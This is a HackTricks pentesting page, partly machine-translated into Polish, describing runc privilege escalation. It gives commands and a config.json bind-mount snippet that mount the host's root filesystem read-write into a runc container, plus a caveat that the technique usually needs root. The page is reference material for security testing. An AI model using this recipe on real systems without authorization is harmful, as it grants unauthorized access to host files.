3.7 KiB
RunC Privilege Escalation
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Podstawowe informacje
If you want to learn more about runc check the following page:
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %} 2375-pentesting-docker.md {% endcontent-ref %}
PE
If you find that runc
is installed in the host you may be able to uruchomić kontener montując folder root / hosta.
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs
# Finally, start the container
# The root folder is the one from the host
runc run demo
{% hint style="danger" %}
To nie zawsze zadziała, ponieważ domyślną operacją runc jest uruchamianie jako root, więc uruchomienie go jako użytkownik bez uprawnień po prostu nie może działać (chyba że masz konfigurację bezrootową). Ustawienie konfiguracji bezrootowej jako domyślnej nie jest zazwyczaj dobrym pomysłem, ponieważ istnieje wiele ograniczeń wewnątrz kontenerów bezrootowych, które nie mają zastosowania poza kontenerami bezrootowymi.
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.